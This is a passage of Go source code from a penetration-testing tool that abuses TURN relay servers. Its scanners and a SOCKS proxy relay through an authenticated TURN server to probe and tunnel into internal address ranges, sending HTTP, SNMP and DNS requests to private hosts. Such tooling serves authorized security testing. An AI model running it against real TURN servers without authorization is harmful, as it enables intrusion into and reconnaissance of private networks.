119 | for _, ipString := range ranges {
120 | ip, err := netip.ParseAddr(ipString)
121 | if err != nil {
122 | return fmt.Errorf("target is no valid ip address: %w", err)
123 | }
124 |
125 | suc, err := scanTCP(ctx, opts, ip, 80)
126 | if err != nil {
127 | opts.Log.Errorf("TCP %s: %v", ip, err)
128 | }
129 | if suc {
130 | opts.Log.Warnf("TCP %s was successful!", ip)
131 | }
132 | }
133 | return nil
134 | }
135 |
136 | func scanTCP(ctx context.Context, opts RangeScanOpts, targetHost netip.Addr, targetPort uint16) (bool, error) {
137 | conn, err := internal.Connect(ctx, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout)
138 | if err != nil {
139 | return false, err
140 | }
141 | defer conn.Close()
142 |
143 | addressFamily := internal.AllocateProtocolIgnore
144 | if targetHost.Is6() {
145 | addressFamily = internal.AllocateProtocolIPv6
146 | }
147 |
148 | allocateRequest := internal.AllocateRequest(internal.RequestedTransportTCP, addressFamily)
149 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout)
150 | if err != nil {
151 | return false, fmt.Errorf("error on sending allocate request 1: %w", err)
152 | }
153 | if allocateResponse.Header.MessageType.Class != internal.MsgTypeClassError {
154 | return false, fmt.Errorf("MessageClass is not Error (should be not authenticated)")
155 | }
156 |
157 | realm := string(allocateResponse.GetAttribute(internal.AttrRealm).Value)
158 | nonce := string(allocateResponse.GetAttribute(internal.AttrNonce).Value)
159 |
160 | allocateRequest = internal.AllocateRequestAuth(opts.Username, opts.Password, nonce, realm, internal.RequestedTransportTCP, addressFamily)
161 | allocateResponse, err = allocateRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout)
162 | if err != nil {
163 | return false, fmt.Errorf("error on sending allocate request 2: %w", err)
164 | }
165 | if allocateResponse.Header.MessageType.Class == internal.MsgTypeClassError {
166 | return false, fmt.Errorf("error on allocate response: %s", allocateResponse.GetErrorString())
167 | }
168 |
169 | connectRequest, err := internal.ConnectRequestAuth(opts.Username, opts.Password, nonce, realm, targetHost, targetPort)
170 | if err != nil {
171 | return false, fmt.Errorf("error on generating Connect request: %w", err)
172 | }
173 | connectResponse, err := connectRequest.SendAndReceive(ctx, opts.Log, conn, opts.Timeout)
174 | if err != nil {
175 | // ignore timeouts, a timeout means open port
176 | if errors.Is(err, helper.ErrTimeout) {
177 | return true, nil
178 | }
179 | return false, fmt.Errorf("error on sending Connect request: %w", err)
180 | }
181 | if connectResponse.Header.MessageType.Class == internal.MsgTypeClassError {
182 | return false, fmt.Errorf("error on Connect response: %s", connectResponse.GetErrorString())
183 | }
184 |
185 | return true, nil
186 | }
187 |
188 | func scanUDP(ctx context.Context, opts RangeScanOpts, targetHost netip.Addr, targetPort uint16) (bool, error) {
189 | remote, _, _, err := internal.SetupTurnConnection(ctx, opts.Log, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout, targetHost, targetPort, opts.Username, opts.Password)
190 | if err != nil {
191 | return false, err
192 | }
193 | defer remote.Close()
194 |
195 | return true, nil
196 | }
197 |
--------------------------------------------------------------------------------
/internal/cmd/socks.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "strings"
7 | "time"
8 |
9 | socks "github.com/firefart/gosocks"
10 | "github.com/firefart/stunner/internal/socksimplementations"
11 | "github.com/sirupsen/logrus"
12 | )
13 |
14 | type SocksOpts struct {
15 | TurnServer string
16 | Protocol string
17 | Username string
18 | Password string
19 | UseTLS bool
20 | Timeout time.Duration
21 | Log *logrus.Logger
22 | Listen string
23 | DropPublic bool
24 | }
25 |
26 | func (opts SocksOpts) Validate() error {
27 | if opts.TurnServer == "" {
28 | return fmt.Errorf("need a valid turnserver")
29 | }
30 | if !strings.Contains(opts.TurnServer, ":") {
31 | return fmt.Errorf("turnserver needs a port")
32 | }
33 | if opts.Protocol != "tcp" && opts.Protocol != "udp" {
34 | return fmt.Errorf("protocol needs to be either tcp or udp")
35 | }
36 | if opts.Username == "" {
37 | return fmt.Errorf("please supply a username")
38 | }
39 | if opts.Password == "" {
40 | return fmt.Errorf("please supply a password")
41 | }
42 | if opts.Log == nil {
43 | return fmt.Errorf("please supply a valid logger")
44 | }
45 | if opts.Listen == "" {
46 | return fmt.Errorf("please supply a valid listen address")
47 | }
48 | if !strings.Contains(opts.Listen, ":") {
49 | return fmt.Errorf("listen must be in the format host:port")
50 | }
51 |
52 | return nil
53 | }
54 |
55 | func Socks(ctx context.Context, opts SocksOpts) error {
56 | if err := opts.Validate(); err != nil {
57 | return err
58 | }
59 |
60 | handler := &socksimplementations.SocksTurnTCPHandler{
61 | Server: opts.TurnServer,
62 | TURNUsername: opts.Username,
63 | TURNPassword: opts.Password,
64 | Timeout: opts.Timeout,
65 | UseTLS: opts.UseTLS,
66 | DropNonPrivateRequests: opts.DropPublic,
67 | Log: opts.Log,
68 | }
69 | p := socks.Proxy{
70 | ServerAddr: opts.Listen,
71 | Proxyhandler: handler,
72 | Timeout: opts.Timeout,
73 | Log: opts.Log,
74 | }
75 | opts.Log.Infof("starting SOCKS server on %s", opts.Listen)
76 | if err := p.Start(ctx); err != nil {
77 | return err
78 | }
79 | <-p.Done
80 | return nil
81 | }
82 |
--------------------------------------------------------------------------------
/internal/cmd/tcpscanner.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "context"
5 | "crypto/tls"
6 | "encoding/hex"
7 | "fmt"
8 | "net/netip"
9 | "strconv"
10 | "strings"
11 | "time"
12 |
13 | "github.com/firefart/stunner/internal"
14 | "github.com/firefart/stunner/internal/helper"
15 | "github.com/sirupsen/logrus"
16 | )
17 |
18 | const httpRequest = "GET / HTTP/1.0\r\n\r\n"
19 |
20 | type TCPScannerOpts struct {
21 | TurnServer string
22 | Protocol string
23 | Username string
24 | Password string
25 | UseTLS bool
26 | Timeout time.Duration
27 | Log *logrus.Logger
28 | Ports []string
29 | IPs []string
30 | }
31 |
32 | func (opts TCPScannerOpts) Validate() error {
33 | if opts.TurnServer == "" {
34 | return fmt.Errorf("need a valid turnserver")
35 | }
36 | if !strings.Contains(opts.TurnServer, ":") {
37 | return fmt.Errorf("turnserver needs a port")
38 | }
39 | if opts.Protocol != "tcp" && opts.Protocol != "udp" {
40 | return fmt.Errorf("protocol needs to be either tcp or udp")
41 | }
42 | if opts.Username == "" {
43 | return fmt.Errorf("please supply a username")
44 | }
45 | if opts.Password == "" {
46 | return fmt.Errorf("please supply a password")
47 | }
48 | if opts.Log == nil {
49 | return fmt.Errorf("please supply a valid logger")
50 | }
51 | if len(opts.Ports) == 0 {
52 | return fmt.Errorf("please supply valid ports")
53 | }
54 | // no need to check IPs, it can be nil
55 |
56 | return nil
57 | }
58 |
59 | func TCPScanner(ctx context.Context, opts TCPScannerOpts) error {
60 | if err := opts.Validate(); err != nil {
61 | return err
62 | }
63 |
64 | ipInput := opts.IPs
65 | if len(ipInput) == 0 {
66 | ipInput = helper.PrivateRanges
67 | }
68 |
69 | ipChan := helper.IPIterator(ipInput)
70 |
71 | for ip := range ipChan {
72 | if ip.Error != nil {
73 | opts.Log.Error(ip.Error)
74 | continue
75 | }
76 | for _, port := range opts.Ports {
77 | port := strings.TrimSpace(port)
78 | portI, err := strconv.ParseInt(port, 10, 16)
79 | if err != nil {
80 | return fmt.Errorf("invalid port %s: %w", port, err)
81 | }
82 | opts.Log.Debugf("Scanning %s:%d", ip.IP.String(), portI)
83 | if err := httpScan(ctx, opts, ip.IP, uint16(portI)); err != nil {
84 | opts.Log.Errorf("error on running HTTP Scan for %s:%d: %v", ip.IP.String(), portI, err)
85 | }
86 | }
87 | }
88 |
89 | return nil
90 | }
91 |
92 | func httpScan(ctx context.Context, opts TCPScannerOpts, ip netip.Addr, port uint16) error {
93 | _, _, controlConnection, dataConnection, err := internal.SetupTurnTCPConnection(ctx, opts.Log, opts.TurnServer, opts.UseTLS, opts.Timeout, ip, port, opts.Username, opts.Password)
94 | if err != nil {
95 | return err
96 | }
97 | defer controlConnection.Close()
98 | defer dataConnection.Close()
99 |
100 | useTLS := port == 443 || port == 8443 || port == 7443 || port == 8843
101 | if useTLS {
102 | tlsConn := tls.Client(dataConnection, &tls.Config{InsecureSkipVerify: true})
103 | if err := helper.ConnectionWrite(ctx, tlsConn, []byte(httpRequest), opts.Timeout); err != nil {
104 | return fmt.Errorf("error on sending TLS data: %w", err)
105 | }
106 | data, err := helper.ConnectionReadAll(ctx, tlsConn, opts.Timeout)
107 | if err != nil {
108 | return fmt.Errorf("error on reading after sending TLS data: %w", err)
109 | }
110 | opts.Log.Info(string(data))
111 | opts.Log.Info(hex.EncodeToString(data))
112 | return nil
113 | }
114 |
115 | // plain text connection
116 | if err := helper.ConnectionWrite(ctx, dataConnection, []byte(httpRequest), opts.Timeout); err != nil {
117 | return fmt.Errorf("error on sending data: %w", err)
118 | }
119 | data, err := helper.ConnectionReadAll(ctx, dataConnection, opts.Timeout)
120 | if err != nil {
121 | return fmt.Errorf("error on reading after sending data: %w", err)
122 | }
123 | opts.Log.Info(string(data))
124 | opts.Log.Info(hex.EncodeToString(data))
125 | return nil
126 | }
127 |
--------------------------------------------------------------------------------
/internal/cmd/udpscanner.go:
--------------------------------------------------------------------------------
1 | package cmd
2 |
3 | import (
4 | "context"
5 | "errors"
6 | "fmt"
7 | "math/rand"
8 | "net/netip"
9 | "strings"
10 | "time"
11 |
12 | "github.com/firefart/stunner/internal"
13 | "github.com/firefart/stunner/internal/helper"
14 | "github.com/sirupsen/logrus"
15 | )
16 |
17 | type UDPScannerOpts struct {
18 | TurnServer string
19 | Protocol string
20 | Username string
21 | Password string
22 | UseTLS bool
23 | Timeout time.Duration
24 | Log *logrus.Logger
25 | CommunityString string
26 | DomainName string
27 | IPs []string
28 | }
29 |
30 | func (opts UDPScannerOpts) Validate() error {
31 | if opts.TurnServer == "" {
32 | return fmt.Errorf("need a valid turnserver")
33 | }
34 | if !strings.Contains(opts.TurnServer, ":") {
35 | return fmt.Errorf("turnserver needs a port")
36 | }
37 | if opts.Protocol != "tcp" && opts.Protocol != "udp" {
38 | return fmt.Errorf("protocol needs to be either tcp or udp")
39 | }
40 | if opts.Username == "" {
41 | return fmt.Errorf("please supply a username")
42 | }
43 | if opts.Password == "" {
44 | return fmt.Errorf("please supply a password")
45 | }
46 | if opts.Log == nil {
47 | return fmt.Errorf("please supply a valid logger")
48 | }
49 | if opts.CommunityString == "" {
50 | return fmt.Errorf("please supply a valid community string")
51 | }
52 | if opts.DomainName == "" {
53 | return fmt.Errorf("please supply a valid domain name")
54 | }
55 | // no need to check IPs, it can be nil
56 |
57 | return nil
58 | }
59 |
60 | func UDPScanner(ctx context.Context, opts UDPScannerOpts) error {
61 | if err := opts.Validate(); err != nil {
62 | return err
63 | }
64 |
65 | ipInput := opts.IPs
66 | if len(ipInput) == 0 {
67 | ipInput = helper.PrivateRanges
68 | }
69 |
70 | ipChan := helper.IPIterator(ipInput)
71 |
72 | for ip := range ipChan {
73 | if ip.Error != nil {
74 | opts.Log.Error(ip.Error)
75 | continue
76 | }
77 | opts.Log.Debugf("Scanning %s", ip.IP.String())
78 | if err := snmpScan(ctx, opts, ip.IP, 161, opts.CommunityString); err != nil {
79 | opts.Log.Errorf("error on running SNMP Scan for ip %s: %v", ip.IP.String(), err)
80 | }
81 | if err := dnsScan(ctx, opts, ip.IP, 53, opts.DomainName); err != nil {
82 | opts.Log.Errorf("error on running DNS Scan for ip %s: %v", ip.IP.String(), err)
83 | }
84 | }
85 |
86 | return nil
87 | }
88 |
89 | func snmpScan(ctx context.Context, opts UDPScannerOpts, ip netip.Addr, port uint16, community string) error {
90 | remote, realm, nonce, err := internal.SetupTurnConnection(ctx, opts.Log, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout, ip, port, opts.Username, opts.Password)
91 | if err != nil {
92 | // ignore timeouts
93 | if errors.Is(err, helper.ErrTimeout) {
94 | return nil
95 | }
96 | return err
97 | }
98 | defer remote.Close()
99 |
100 | channelNumber, err := helper.RandomChannelNumber()
101 | if err != nil {
102 | return fmt.Errorf("error on getting random channel number: %w", err)
103 | }
104 | channelBindRequest, err := internal.ChannelBindRequest(opts.Username, opts.Password, nonce, realm, ip, port, channelNumber)
105 | if err != nil {
106 | return fmt.Errorf("error on generating ChannelBindRequest: %w", err)
107 | }
108 |
109 | channelBindResponse, err := channelBindRequest.SendAndReceive(ctx, opts.Log, remote, opts.Timeout)
110 | if err != nil {
111 | return fmt.Errorf("error on sending ChannelBindRequest: %w", err)
112 | }
113 |
114 | if channelBindResponse.Header.MessageType.Class == internal.MsgTypeClassError {
115 | return fmt.Errorf("error on ChannelBind: %s", channelBindResponse.GetErrorString())
116 | }
117 |
118 | var snmp []byte
119 | var inner []byte
120 | // junk before version
121 | inner = append(inner, 0x02)
122 | inner = append(inner, 0x01)
123 | // version 1 == v2c
124 | inner = append(inner, 1)
125 | // 4 - some random stuff
126 | inner = append(inner, 0x04)
127 | // length of community string
128 | inner = append(inner, uint8(len(community)))
129 | // community string
130 | inner = append(inner, []byte(community)...)
131 | // get-next 1.3.6.1.2.1
132 | inner = append(inner, []byte{0xa1, 0x19, 0x02, 0x04}...)
133 | // request ID
134 | inner = append(inner, helper.PutUint32(rand.Uint32())...)
135 | // rest
136 | inner = append(inner, 0x02, 0x01, 0x00, 0x02, 0x01, 0x00, 0x30, 0x0b, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x06, 0x01, 0x02, 0x01, 0x05, 0x00)
137 |
138 | // Sequence
139 | snmp = append(snmp, 0x30)
140 | // Overall Length
141 | snmp = append(snmp, uint8(len(inner)))
142 | snmp = append(snmp, inner...)
143 |
144 | snmpLen := len(snmp)
145 |
146 | var buf []byte
147 | buf = append(buf, channelNumber...)
148 | buf = append(buf, helper.PutUint16(uint16(snmpLen))...)
149 | buf = append(buf, snmp...)
150 |
151 | err = helper.ConnectionWrite(ctx, remote, buf, opts.Timeout)
152 | if err != nil {
153 | return fmt.Errorf("error on sending SNMP request: %w", err)
154 | }
155 |
156 | resp, err := helper.ConnectionReadAll(ctx, remote, opts.Timeout)
157 | if err != nil {
158 | // ignore timeouts
159 | if errors.Is(err, helper.ErrTimeout) {
160 | return nil
161 | }
162 | return fmt.Errorf("error on reading SNMP response: %w", err)
163 | }
164 |
165 | channel, data, err := internal.ExtractChannelData(resp)
166 | if err != nil {
167 | return err
168 | }
169 |
170 | opts.Log.Infof("received %d bytes on channel %02x for ip %s", len(data), channel, ip.String())
171 | opts.Log.Infof("UDP Response: %s", string(resp))
172 |
173 | return nil
174 | }
175 |
176 | func dnsScan(ctx context.Context, opts UDPScannerOpts, ip netip.Addr, port uint16, dnsName string) error {
177 | remote, realm, nonce, err := internal.SetupTurnConnection(ctx, opts.Log, opts.Protocol, opts.TurnServer, opts.UseTLS, opts.Timeout, ip, port, opts.Username, opts.Password)
178 | if err != nil {
179 | // ignore timeouts
180 | if errors.Is(err, helper.ErrTimeout) {
181 | return nil
182 | }
183 | return err
184 | }
185 | defer remote.Close()
186 |
187 | channelNumber, err := helper.RandomChannelNumber()
188 | if err != nil {
189 | return fmt.Errorf("error on getting random channel number: %w", err)
190 | }
191 | channelBindRequest, err := internal.ChannelBindRequest(opts.Username, opts.Password, nonce, realm, ip, port, channelNumber)
192 | if err != nil {
193 | return fmt.Errorf("error on generating ChannelBindRequest: %w", err)
194 | }
195 |
196 | channelBindResponse, err := channelBindRequest.SendAndReceive(ctx, opts.Log, remote, opts.Timeout)
197 | if err != nil {
198 | return fmt.Errorf("error on sending ChannelBindRequest: %w", err)
199 | }
200 |
201 | if channelBindResponse.Header.MessageType.Class == internal.MsgTypeClassError {
202 | return fmt.Errorf("error on ChannelBind: %s", channelBindResponse.GetErrorString())
203 | }
204 |
205 | var dns []byte
206 |
207 | // transactionID
208 | dns = append(dns, helper.PutUint16(uint16(rand.Uint32()))...)
209 | // FLAGS: standard query
210 | dns = append(dns, []byte{0x01, 0x00}...)
211 | // Questions: 1
212 | dns = append(dns, helper.PutUint16(1)...)
213 | // Answer RRs: 0
214 | dns = append(dns, helper.PutUint16(0)...)
215 | // Authority RRs: 0
216 | dns = append(dns, helper.PutUint16(0)...)
217 | // Additional RRs: 0
218 | dns = append(dns, helper.PutUint16(0)...)
219 |
220 | // Query: LEN, DOMAIN (null byte terminated), 0x0001, 0x0001
221 | domainParts := strings.Split(dnsName, ".")
222 | var domainBuf []byte
223 | for _, x := range domainParts {
224 | domainBuf = append(domainBuf, uint8(len(x)))
225 | domainBuf = append(domainBuf, []byte(x)...)
226 | }
227 | // terminate with a null byte
228 | domainBuf = append(domainBuf, 0x00)
229 | // Type A
230 | domainBuf = append(domainBuf, helper.PutUint16(1)...)
231 | // Class: IN
232 | domainBuf = append(domainBuf, helper.PutUint16(1)...)
233 |
234 | dns = append(dns, domainBuf...)
235 |
236 | dnsLen := len(dns)
237 |
238 | var buf []byte
239 | buf = append(buf, channelNumber...)
240 | buf = append(buf, helper.PutUint16(uint16(dnsLen))...)
241 | buf = append(buf, dns...)
242 |
243 | err = helper.ConnectionWrite(ctx, remote, buf, opts.Timeout)
244 | if err != nil {
245 | return fmt.Errorf("error on sending DNS request: %w", err)
246 | }
247 |
248 | resp, err := helper.ConnectionReadAll(ctx, remote, opts.Timeout)
249 | if err != nil {
250 | // ignore timeouts
251 | if errors.Is(err, helper.ErrTimeout) {
252 | return nil
253 | }
254 | return fmt.Errorf("error on reading DNS response: %w", err)
255 | }
256 |
257 | channel, data, err := internal.ExtractChannelData(resp)
258 | if err != nil {
259 | return err
260 | }
261 |
262 | opts.Log.Infof("received %d bytes on channel %02x for ip %s", len(data), channel, ip.String())
263 | opts.Log.Infof("UDP Response: %s", string(resp))
264 |
265 | return nil
266 | }
267 |
--------------------------------------------------------------------------------
/internal/connection.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "bufio"
5 | "context"
6 | "crypto/tls"
7 | "fmt"
8 | "net"
9 | "slices"
10 | "time"
11 |
12 | "github.com/firefart/stunner/internal/helper"
13 | "github.com/pion/dtls/v2"
14 | )
15 |
16 | func Connect(ctx context.Context, protocol string, turnServer string, useTLS bool, timeout time.Duration) (net.Conn, error) {
17 | if !useTLS {
18 | // non TLS connection
19 | conn, err := net.DialTimeout(protocol, turnServer, timeout)
20 | if err != nil {
21 | return nil, fmt.Errorf("error on establishing a connection to the server: %w", err)
22 | }
23 | return conn, nil
24 | }
25 |
26 | // if we reach here we have a TLS connection
27 | switch protocol {
28 | case "tcp":
29 | d := net.Dialer{
30 | Timeout: timeout,
31 | }
32 | conn, err := tls.DialWithDialer(&d, protocol, turnServer, &tls.Config{
33 | InsecureSkipVerify: true,
34 | })
35 | if err != nil {
36 | return nil, fmt.Errorf("error on establishing a TLS connection to the server: %w", err)
37 | }
38 | return conn, nil
39 | case "udp":
40 | conn, err := net.DialTimeout(protocol, turnServer, timeout)
41 | if err != nil {
42 | return nil, fmt.Errorf("error on establishing a connection to the server: %w", err)
43 | }
44 | ctx, cancel := context.WithTimeout(ctx, timeout)
45 | defer cancel()
46 | dtlsConn, err := dtls.ClientWithContext(ctx, conn, &dtls.Config{
47 | InsecureSkipVerify: true,
48 | })
49 | if err != nil {
50 | return nil, fmt.Errorf("error on establishing a DTLS connection to the server: %w", err)
51 | }
52 | return dtlsConn, nil
53 | default:
54 | return nil, fmt.Errorf("invalid protocol %s", protocol)
55 | }
56 | }
57 |
58 | // send serializes a STUN object and sends it on the provided connection
59 | func (s *Stun) send(ctx context.Context, conn net.Conn, timeout time.Duration) error {
60 | data, err := s.Serialize()
61 | if err != nil {
62 | return fmt.Errorf("Serialize: %w", err)
63 | }
64 | if err := helper.ConnectionWrite(ctx, conn, data, timeout); err != nil {
65 | return fmt.Errorf("ConnectionWrite: %w", err)
66 | }
67 |
68 | return nil
69 | }
70 |
71 | // SendAndReceive sends a TURN request on a connection and gets a response
72 | func (s *Stun) SendAndReceive(ctx context.Context, logger DebugLogger, conn net.Conn, timeout time.Duration) (*Stun, error) {
73 | logger.Debugf("Sending\n%s", s.String())
74 | err := s.send(ctx, conn, timeout)
75 | if err != nil {
76 | return nil, fmt.Errorf("SendAndReceive: %w", err)
77 | }
78 |
79 | // need this otherwise the read call is blocking forever
80 | if err := conn.SetReadDeadline(time.Now().Add(timeout)); err != nil {
81 | return nil, fmt.Errorf("could not set read deadline: %v", err)
82 | }
83 |
84 | r := bufio.NewReader(conn)
85 | // read the header first to get the message length
86 | header, err := helper.ConnectionRead(ctx, r, headerSize, timeout)
87 | if err != nil {
88 | return nil, fmt.Errorf("ConnectionRead Header: %w", err)
89 | }
90 | headerParsed := parseHeader(header)
91 | expectedPacketSize := int(headerParsed.MessageLength) // + headerSize
92 | logger.Debugf("expectedPacketSize %d", expectedPacketSize)
93 |
94 | // only read the message length and leave potential additional data on the connection
95 | // for later read operations
96 | buffer, err := helper.ConnectionRead(ctx, r, expectedPacketSize, timeout)
97 | if err != nil {
98 | return nil, fmt.Errorf("ConnectionRead: %w", err)
99 | }
100 | resp, err := fromBytes(slices.Concat(header, buffer))
101 | if err != nil {
102 | return nil, fmt.Errorf("fromBytes: %w", err)
103 | }
104 | logger.Debugf("Received\n%s", resp.String())
105 | return resp, nil
106 | }
107 |
--------------------------------------------------------------------------------
/internal/helper/connection.go:
--------------------------------------------------------------------------------
1 | package helper
2 |
3 | import (
4 | "bufio"
5 | "context"
6 | "errors"
7 | "fmt"
8 | "io"
9 | "net"
10 | "time"
11 | )
12 |
13 | var ErrTimeout = errors.New("timeout occurred. you can try to increase the timeout if the server responds too slowly")
14 |
15 | // ConnectionReadAll reads all data from a connection
16 | func ConnectionReadAll(ctx context.Context, conn net.Conn, timeout time.Duration) ([]byte, error) {
17 | // need this otherwise the read call is blocking forever
18 | if err := conn.SetReadDeadline(time.Now().Add(timeout)); err != nil {
19 | return nil, fmt.Errorf("could not set read deadline: %v", err)
20 | }
21 | return connectionRead(ctx, bufio.NewReader(conn), nil, timeout)
22 | }
23 |
24 | // ConnectionRead reads the data from the connection up to maxSizeToRead
25 | func ConnectionRead(ctx context.Context, r *bufio.Reader, maxSizeToRead int, timeout time.Duration) ([]byte, error) {
26 | return connectionRead(ctx, r, &maxSizeToRead, timeout)
27 | }
28 |
29 | func connectionRead(ctx context.Context, r *bufio.Reader, maxSizeToRead *int, timeout time.Duration) ([]byte, error) {
30 | var ret []byte
31 |
32 | ctx, cancel := context.WithTimeout(ctx, timeout)
33 | defer cancel()
34 |
35 | bufLen := 1024
36 | if maxSizeToRead != nil && *maxSizeToRead < bufLen {
37 | bufLen = *maxSizeToRead
38 | }
39 |
40 | buf := make([]byte, bufLen)
41 | alreadyRead := 0
42 | for {
43 | select {
44 | case <-ctx.Done():
45 | return nil, ctx.Err()
46 | default:
47 | i, err := r.Read(buf)
48 | if err != nil {
49 | if err != io.EOF {
50 | // also return read data on timeout so caller can use it
51 | var netErr net.Error
52 | if errors.As(err, &netErr) && netErr.Timeout() {
53 | return ret, ErrTimeout
54 | }
55 | return nil, err
56 | }
57 | return ret, nil
58 | }
59 | alreadyRead += i
60 | ret = append(ret, buf[:i]...)
61 | // we've read all data, bail out
62 | if i < bufLen || (maxSizeToRead != nil && (alreadyRead >= *maxSizeToRead)) {
63 | return ret, nil
64 | }
65 | }
66 | }
67 | }
68 |
69 | // ConnectionWrite makes sure to write all data to a connection
70 | func ConnectionWrite(ctx context.Context, conn net.Conn, data []byte, timeout time.Duration) error {
71 | toWriteLeft := len(data)
72 | written := 0
73 | var err error
74 |
75 | ctx, cancel := context.WithTimeout(ctx, timeout)
76 | defer cancel()
77 |
78 | // need this otherwise the read call is blocking forever
79 | if err := conn.SetWriteDeadline(time.Now().Add(timeout)); err != nil {
80 | return fmt.Errorf("could not set write deadline: %v", err)
81 | }
82 |
83 | for {
84 | select {
85 | case <-ctx.Done():
86 | return ctx.Err()
87 | default:
88 | written, err = conn.Write(data[written:toWriteLeft])
89 | if err != nil {
90 | var netErr net.Error
91 | if errors.As(err, &netErr) && netErr.Timeout() {
92 | return ErrTimeout
93 | }
94 | }
95 | if written == toWriteLeft {
96 | return nil
97 | }
98 | toWriteLeft -= written
99 | }
100 | }
101 | }
102 |
--------------------------------------------------------------------------------
/internal/helper/helper.go:
--------------------------------------------------------------------------------
1 | package helper
2 |
3 | import (
4 | cryptorand "crypto/rand"
5 | "encoding/binary"
6 | "math/rand"
7 | "net/netip"
8 | "unicode"
9 | )
10 |
11 | var printRanges = []*unicode.RangeTable{
12 | unicode.L, unicode.M, unicode.N, unicode.P, unicode.Z,
13 | }
14 |
15 | // IsPrintable returns true if the string only contains printable characters
16 | func IsPrintable(s string) bool {
17 | for _, r := range s {
18 | if !unicode.IsOneOf(printRanges, r) {
19 | return false
20 | }
21 | }
22 | return true
23 | }
24 |
25 | // RandomString generates a random string of specified length
26 | func RandomString(length int) string {
27 | letterRunes := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
28 | b := make([]rune, length)
29 | for i := range b {
30 | b[i] = letterRunes[rand.Intn(len(letterRunes))]
31 | }
32 | return string(b)
33 | }
34 |
35 | func IsPrivateIP(ip netip.Addr) bool {
36 | if ip.IsGlobalUnicast() || ip.IsInterfaceLocalMulticast() ||
37 | ip.IsLinkLocalMulticast() || ip.IsLinkLocalUnicast() ||
38 | ip.IsLoopback() || ip.IsMulticast() || ip.IsPrivate() ||
39 | ip.IsUnspecified() {
40 | return true
41 | }
42 |
43 | return false
44 | }
45 |
46 | // RandomChannelNumber generates a random valid channel number
47 | // 0x4000 through 0x7FFF: These values are the allowed channel
48 | // numbers (16,383 possible values).
49 | func RandomChannelNumber() ([]byte, error) {
50 | token := make([]byte, 2)
51 | for {
52 | if _, err := cryptorand.Read(token); err != nil {
53 | return nil, err
54 | }
55 | if token[0] >= 0x40 &&
56 | token[0] <= 0x7f {
57 | break
58 | }
59 | }
60 | return token, nil
61 | }
62 |
63 | // PutUint16 is a helper function to convert an uint16 to a buffer
64 | func PutUint16(v uint16) []byte {
65 | buf := make([]byte, 2)
66 | binary.BigEndian.PutUint16(buf, v)
67 | return buf
68 | }
69 |
70 | // PutUint32 is a helper function to convert an uint32 to a buffer
71 | func PutUint32(v uint32) []byte {
72 | buf := make([]byte, 4)
73 | binary.BigEndian.PutUint32(buf, v)
74 | return buf
75 | }
76 |
--------------------------------------------------------------------------------
/internal/helper/helper_test.go:
--------------------------------------------------------------------------------
1 | package helper
2 |
3 | import "testing"
4 |
5 | func TestRandomChannelNumber(t *testing.T) {
6 | for i := 0; i < 1000; i++ {
7 | channel, err := RandomChannelNumber()
8 | if err != nil {
9 | t.Fatal(err)
10 | }
11 | if channel[0] < 0x40 || channel[0] > 0x7F {
12 | t.Fail()
13 | }
14 | }
15 | }
16 |
17 | func TestPutUint16(t *testing.T) {
18 | t.Parallel()
19 | out := PutUint16(16)
20 | if len(out) != 2 {
21 | t.Error("UINT16 length is not 2")
22 | }
23 | }
24 |
25 | func TestPutUint32(t *testing.T) {
26 | t.Parallel()
27 | out := PutUint32(16)
28 | if len(out) != 4 {
29 | t.Error("UINT32 length is not 4")
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/internal/helper/iphelper.go:
--------------------------------------------------------------------------------
1 | package helper
2 |
3 | import (
4 | "fmt"
5 | "net/netip"
6 | "strings"
7 | )
8 |
9 | var PrivateRanges = []string{
10 | "127.0.0.1/32",
11 | "10.0.0.0/8",
12 | "172.16.0.0/12",
13 | "192.168.0.0/16",
14 | }
15 |
16 | type IP struct {
17 | IP netip.Addr
18 | Error error
19 | }
20 |
21 | func IPIterator(ranges []string) <-chan IP {
22 | c := make(chan IP)
23 | go func() {
24 | defer close(c)
25 | for _, ipRange := range ranges {
26 | if strings.Contains(ipRange, "/") {
27 | // CIDR
28 | prefix, err := netip.ParsePrefix(ipRange)
29 | if err != nil {
30 | c <- IP{Error: err}
31 | continue
32 | }
33 | GenerateSinglePrivateIPs(prefix, c)
34 | } else {
35 | tmp, err := netip.ParseAddr(ipRange)
36 | if err != nil {
37 | c <- IP{Error: fmt.Errorf("invalid IP %s: %w", ipRange, err)}
38 | continue
39 | }
40 | c <- IP{IP: tmp}
41 | }
42 | }
43 | }()
44 | return c
45 | }
46 |
47 | func GenerateSinglePrivateIPs(prefix netip.Prefix, c chan<- IP) {
48 | ip := prefix.Addr()
49 | for {
50 | // loop until ip is out of range
51 | if !prefix.Contains(ip) {
52 | return
53 | }
54 | c <- IP{IP: ip}
55 | ip = ip.Next()
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/internal/helper/resolver.go:
--------------------------------------------------------------------------------
1 | package helper
2 |
3 | import (
4 | "context"
5 | "net"
6 | "net/netip"
7 | )
8 |
9 | // ResolveName resolves a domain name to an IP address
10 | func ResolveName(ctx context.Context, name string) ([]netip.Addr, error) {
11 | addr, err := net.DefaultResolver.LookupNetIP(ctx, "ip", name)
12 | if err != nil {
13 | return []netip.Addr{}, err
14 | }
15 | return addr, err
16 | }
17 |
--------------------------------------------------------------------------------
/internal/helpers_string.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | func MessageTypeMethodString(s MessageTypeMethod) string {
4 | str, ok := msgTypeMethodNames[s]
5 | if ok {
6 | return str
7 | }
8 | str, ok = turnMsgTypeMethodNames[s]
9 | if ok {
10 | return str
11 | }
12 | str, ok = turnTCPMsgTypeMethodNames[s]
13 | if ok {
14 | return str
15 | }
16 | return ""
17 | }
18 |
19 | func MessageTypeClassString(s MessageTypeClass) string {
20 | str, ok := msgTypeClassNames[s]
21 | if ok {
22 | return str
23 | }
24 | return ""
25 | }
26 |
27 | func AttributeTypeString(a AttributeType) string {
